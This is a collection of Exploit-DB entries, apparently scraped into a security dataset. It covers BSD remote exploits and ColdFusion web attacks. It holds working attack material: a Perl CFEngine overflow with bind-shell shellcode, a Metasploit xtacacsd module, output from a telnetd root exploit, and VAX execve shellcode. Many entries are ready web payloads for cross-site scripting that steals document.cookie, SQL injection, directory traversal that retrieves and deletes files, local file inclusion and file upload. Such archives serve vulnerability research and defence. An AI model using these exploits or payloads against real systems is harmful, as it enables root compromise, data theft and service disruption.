deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19520
Description: BSD - 'TelnetD' Remote Command Execution (2)
Type: remote
Platform: bsd
Date: 2012-07-01
Author: kingcope

Exploit:
This exploit was leaked on the Full Disclosure mailing list:

http://seclists.org/fulldisclosure/2012/Jun/404


Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19520.zip


BSD telnetd Remote Root Exploit *ZERODAY*
By Kingcope
Year 2011

usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d]
        [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s
src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name
[port]]
TARGETS:
0 FreeBSD 8.2 i386
1 FreeBSD 8.0/8.1/8.2 i386
2 FreeBSD 7.3/7.4 i386
3 FreeBSD 6.2/6.3/6.4 i386
4 FreeBSD 5.3/5.5 i386
5 FreeBSD 4.9/4.11 i386
6 NetBSD 5.0/5.1 i386
7 NetBSD 4.0 i386
8 FreeBSD 8.2 amd64
9 FreeBSD 8.0/8.1 amd64
10 FreeBSD 7.1/7.3/7.4 amd64
11 FreeBSD 7.1 amd64
12 FreeBSD 7.0 amd64
13 FreeBSD 6.4 amd64
14 FreeBSD 6.3 amd64
15 FreeBSD 6.2 amd64
16 FreeBSD 6.1 amd64
17 TESTING i386
18 TESTING amd64
Trying 192.168.2.8...
Connected to 192.168.2.8.
Escape character is '^]'.
Trying SRA secure login:
*** EXPLOITING REMOTE TELNETD
*** by Kingcope
*** Year 2011
USING TARGET -- FreeBSD 8.2 amd64
SC LEN: 30
ALEX-ALEX
 6:36PM  up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09
USER             TTY      FROM              LOGIN@  IDLE WHAT
kcope            pts/0    192.168.2.3       6:32PM     4 _su (csh)
FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17
02:41:51 UTC 2011
root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Exploit-DB #19039
Description: BSD 4.2 - 'fingerd' Remote Buffer Overflow
Type: remote
Platform: bsd
Date: 1988-10-01
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/2/info

fingerd is a remote user information server that implements
the protocol defined in RFC742. There exists a buffer
overflow in finderd that allows a remote attacker to execute
any local binaries. 

finderd reads input from its socket using the gets()
standard C library call passing it a 512-byte automatic
buffer allocated in main(). gets() reads the input and 
stores it into the buffer without performing any bounds 
checking. This results in a standard stack buffer 
overflow when main() return.


The Internet Worm used a string of 536 bytes to
overflow the input buffer of fingerd on the VAX. The
VAX machine code it used was:

pushl $68732f 'sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b

This code executed execve("/bin/sh", 0, 0).
Exploit-DB #105
Description: GNU CFEngine 2.-2.0.3 - Remote Stack Overflow
Type: remote
Platform: bsd
Date: 2003-09-27
Author: kokanin

Exploit:
#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE

use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode = 
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89".
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50".
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80".
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f".
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b".
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80".
"\xeb\x9a";


$buf = $nop x 2222 . $shellcode . $ret x 500;

$socket = new IO::Socket::INET ( 
Proto  => "tcp",
PeerAddr => $host,
PeerPort => $port, 
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

sleep(1); #you might have to adjust this on slow connections
print $socket $buf;

close($socket);


# milw0rm.com [2003-09-27]
Exploit-DB #35919
Description: NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows
Type: remote
Platform: bsd
Date: 2011-07-01
Author: Maksymilian Arciemowicz

Exploit:
// source: https://www.securityfocus.com/bid/48528/info

NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.

Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. 

/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
	char *cycek;
	cycek=malloc(atoi(argv[1]));

	if(!cycek) return 1;
	memset(cycek,'A',atoi(argv[1]));

	getservbyname(cycek,"tcp");

	return 0;
}
Exploit-DB #10035
Description: Xtacacsd 4.1.2 - 'report()' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: bsd
Date: 2008-01-08
Author: MC

Exploit:
##
# $Id: xtacacsd_report.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
				sending a specially crafted XTACACS packet with an overly long
				username, an attacker may be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2008-7232'],
					['OSVDB', '58140'],
					['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
				],
			'Payload'        =>
				{
					'Space'    => 175,
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x83\xec\x7f",
					'DisableNops'   =>  'True',
				},
			'Platform'       => 'BSD',
			'Arch'           => ARCH_X86,
			'Targets'        =>
				[
					['FreeBSD 6.2-Release Bruteforce',
						{'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xbfbfea00 },
								'Stop'  => { 'Ret' => 0xbfbfef00 },
								'Step'  => 24,
							}
						},
					],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 8 2008'))

		register_options([Opt::RPORT(49)], self.class)
	end

	def brute_exploit(address)
		connect_udp

		sploit =  "\x80" # Version
		sploit << "\x05" # Type: Connect
		sploit << "\xff\xff" # Nonce
		sploit << "\xff" # Username length
		sploit << "\x00" # Password length
		sploit << "\x00" # Response
		sploit << "\x00" # Reason
		sploit << "\xff\xff\xff\xff" # Result 1
		sploit << "\xff\xff\xff\xff" # Destination address
		sploit << "\xff\xff" # Destination port
		sploit << "\xff\xff" # Line
		sploit << "\x00\x00\x00\x00" # Result 2
		sploit << "\x00\x00" # Result 3
		sploit << make_nops(238 - payload.encoded.length)
		sploit << payload.encoded + [address['Ret']].pack('V')

		print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
		udp_sock.put(sploit)

		disconnect_udp
	end

end
Exploit-DB #28100
Description: BlueDragon Server 6.2.1 - '.cfm' Denial of Service
Type: dos
Platform: cfm
Date: 2006-06-23
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/18624/info

BlueDragon is prone to a remote denial-of-service vulnerability. This issue is due to the application's failure to efficiently handle malformed GET requests.

An attacker can exploit this issue to cause the service to stop responding, effectively denying service to legitimate users.

This issue affects version 6.2.1.286; other versions may also be vulnerable.

http://www.example.com/con.cfm 
http://www.example.com/aux.cfm 
http://www.example.com/com1.cfm 
http://www.example.com/com2.cfm
Exploit-DB #21548
Description: ColdFusion MX - Missing Template Cross-Site Scripting
Type: remote
Platform: cfm
Date: 2002-06-13
Author: Macromedia

Exploit:
source: https://www.securityfocus.com/bid/5011/info

ColdFusion MX is prone to cross site scripting attacks.

Attacker-supplied script code may be included in a malicious missing template URI generated by the default Missing Template handler of ColdFusion. The attacker-supplied script code will be executed in the browser of a web user who visits this link, in the security context of the host running ColdFusion. 

http://CF_MX_SERVER/<script>alert(document.cookie)</script>.cfm
Exploit-DB #27456
Description: 1WebCalendar 4.0 - '/news/newsView.cfm?NewsID' SQL Injection
Type: webapps
Platform: cfm
Date: 2006-03-22
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/17193/info
 
1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/news/newsView.cfm?NewsID=[code]
Exploit-DB #27457
Description: 1WebCalendar 4.0 - 'mainCal.cfm' SQL Injection
Type: webapps
Platform: cfm
Date: 2006-03-22
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/17193/info
  
1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/mainCal.cfm?=[code]
Exploit-DB #27455
Description: 1WebCalendar 4.0 - 'viewEvent.cfm?EventID' SQL Injection
Type: webapps
Platform: cfm
Date: 2006-03-22
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/17193/info

1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/viewEvent.cfm?EventID=[code]
Exploit-DB #35256
Description: ActiveWeb Professional 3.0 - Arbitrary File Upload
Type: webapps
Platform: cfm
Date: 2011-01-25
Author: StenoPlasma

Exploit:
source: https://www.securityfocus.com/bid/45985/info

ActiveWeb Professional is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; successful exploits will allow attackers to completely compromise the affected computer.

Lomtec ActiveWeb Professional 3.0 is vulnerable; other versions may also be affected. 

1. Go to the page http://www.example.com/activeweb/EasyEdit.cfm?module=EasyEdit&page=getimagefile&Filter=

2. Change the 'UploadDirectory' and 'Accepted Extensions' hidden form fields to upload the malicious file to the directory of interest.
Exploit-DB #26060
Description: AderSoftware CFBB 1.1 - 'index.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-08-01
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/14440/info

CFBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects CFBB version 1.1.0; other versions may also be vulnerable.

http://www.example.com/forums/index.cfm?page=XSS
Exploit-DB #36067
Description: Adobe ColdFusion - 'probe.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2011-08-18
Author: G.R0b1n

Exploit:
source: https://www.securityfocus.com/bid/49220/info

Adobe ColdFusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker could exploit this vulnerability to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/CFIDE/probe.cfm?name=<script>alert("G.R0b1n")</script>
Exploit-DB #29567
Description: Adobe ColdFusion 6/7 - User_Agent Error Page Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2007-02-05
Author: digi7al64

Exploit:
source: https://www.securityfocus.com/bid/22401/info

Adobe ColdFusion is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker could exploit this vulnerability to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(String.fromCharCode(120,115,115))%3C/s> cript%3E&HTTP_REFERER=http://www.google.com/
Exploit-DB #36172
Description: Adobe ColdFusion 7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cfm
Date: 2011-09-27
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/49787/info

Adobe ColdFusion is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adobe ColdFusion 7 is vulnerable; other versions may also be affected. 

http://example.com/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20onload=alert(document.cookie)%3E

http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E

http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E
Exploit-DB #33170
Description: Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query String Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2009-08-17
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/36046/info
   
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
   
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
   
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/administrator/enter.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script>
Exploit-DB #33167
Description: Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizarduser.cfm' Query String Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2009-08-17
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/36046/info

Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/wizards/common/_authenticatewizarduser.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script>
Exploit-DB #33169
Description: Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' Query String Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2009-08-17
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/36046/info
  
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/wizards/common/_logintowizard.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script>
Exploit-DB #33168
Description: Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.cfm?startRow' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2009-08-17
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/36046/info
 
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%DF%20%E7%E4%E5%F1%FC%20%E1%FB%EB%27))%22%3E
Exploit-DB #16225
Description: Alcassoft's SOPHIA CMS - SQL Injection
Type: webapps
Platform: cfm
Date: 2011-02-24
Author: p0pc0rn

Exploit:
Title    : Alcassoft's SOPHIA CMS Vulnerable to SQL Injection
Found by: p0pc0rn 24/02/2011
Web        : http://www.alcassoft.com/site/
Dork    : intext:"Powered by Alcassoft SOPHIA"

SQL
---

http://site.com/path/dsp_page.cfm?pageid=[SQL]
Exploit-DB #36815
Description: BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion
Type: webapps
Platform: cfm
Date: 2015-04-21
Author: Portcullis

Exploit:
Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:


http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file’s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Exploit-DB #27853
Description: Cartweaver 2.16.11 - 'Results.cfm' SQL Injection
Type: webapps
Platform: cfm
Date: 2006-04-25
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17941/info

Cartweaver ColdFusion is prone to SQL-injection vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/Results.cfm?category=[SQL]
http://www.example.com/Results.cfm?keywords=[SQL]
Exploit-DB #26767
Description: CF_Nuke 4.6 - 'index.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-12-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15778/info

CF_Nuke is prone to multiple cross-site scripting vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.cfm?sector=news&page=topic&topic=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.cfm?sector=links&page=links&cmd=view&cat=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.cfm?sector=news&page=read&newsid=
%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #26766
Description: CF_Nuke 4.6 - 'index.cfm' Local File Inclusion
Type: webapps
Platform: cfm
Date: 2005-12-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15777/info

CF_Nuke is prone to a local file include vulnerability. This is due to a lack of sanitization of user-supplied input.

This may facilitate the unauthorized viewing of files and unauthorized execution of local ColdFusion code.

It should be noted that successful exploitation requires that "Sandbox Security" is not enabled for the directory.

CF_Nuke 4.6 and prior versions are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.cfm?sector=../local file

http://www.example.com/index.cfm?sector=quotes&page=../local file